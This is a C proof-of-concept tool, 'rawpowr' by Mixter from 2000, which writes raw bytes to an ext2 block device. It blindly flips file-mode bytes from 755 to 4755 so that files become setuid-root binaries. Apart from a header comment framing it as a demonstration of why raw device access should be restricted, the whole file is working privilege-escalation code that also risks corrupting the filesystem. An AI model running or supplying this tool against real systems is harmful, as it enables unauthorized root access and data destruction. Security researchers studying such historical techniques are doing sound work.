/* * rawpowr 0.1, Jan 2000 by Mixter * * This tool will try to read inode tables from a ext2 partition in raw mode, * and change bytes that indicate umask 755 for a file to umask 4755. It could * be used to create suid root binaries from any files on a ext2 filesystem * that can be written to. This demonstrates that most block devices should * not be directly accessible by users at any time, and that systems should be * run under a securelevel where raw access to such devices is impossible. * * WARNING! WARNING! WARNING! This not only performs raw operations on your * harddisk, but also very sloppy ones (i.e. replace occurences of a special * byte with another one, without honoring the ext2fs structure). Do NOT use * this on active or mounted partitions! Do NOT use this on partitions with * valuable non-backed-up data. I suggest you try this with a ext2fs floppy * disk. I am not responsible for any damages this thingie might cause :). */ #include #include #include #include #include #include /* This is the offset where my first file on a "virgin" ext2fs was located. This offset is relatively tiny, and therefore, probably only the first few binaries in the root directory get chmod +s'ed */ #define E2_DATA_START 278528 #define E2_MODE_755 '\x81' #define E2_MODE_4755 '\x8d' void ewsage (char *x) { printf ("usage: %s \nthis tries to change normal files to suid binaries\n", x); exit (0); } int main (int argc, char **argv) { char inodes_raw[E2_DATA_START]; int effdee; long r, i; if (argc != 2) ewsage (argv[0]); (void) sync (); printf ("rawpower by Mixter\nWarning: this program performs dangerous operations on block devices...\n\t Hit ctrl+c to terminate now!\n"); sleep (5); if ((effdee = open (argv[1], O_RDWR)) == -1) { perror ("opening filesystem"); ewsage (argv[0]); } printf ("Reading from device..."); r = read (effdee, inodes_raw, E2_DATA_START); printf ("."); if (r < E2_DATA_START) r += read (effdee, inodes_raw + r, E2_DATA_START - r); printf ("."); if (r < E2_DATA_START) r += read (effdee, inodes_raw + r, E2_DATA_START - r); printf ("."); if (r < E2_DATA_START) r += read (effdee, inodes_raw + r, E2_DATA_START - r); printf ("."); if (r < E2_DATA_START) r += read (effdee, inodes_raw + r, E2_DATA_START - r); printf (".\n"); for (i = 0; i < E2_DATA_START; i++) { if (inodes_raw[i] == E2_MODE_755) { inodes_raw[i] = E2_MODE_4755; printf ("Changing possible permission byte at offset: %ld\n", i); } } lseek (effdee, 0, SEEK_SET); printf ("Writing to device..."); i = write (effdee, inodes_raw, r); printf ("."); if (i < r) i += write (effdee, inodes_raw + i, r - i); printf ("."); if (i < r) i += write (effdee, inodes_raw + i, r - i); printf ("."); if (i < r) i += write (effdee, inodes_raw + i, r - i); printf ("."); if (i < r) i += write (effdee, inodes_raw + i, r - i); printf (".\n"); close (effdee); (void) sync (); printf ("Synching disk, done! (Now try: find /mountpoint -perm 4000)\n"); return 0; }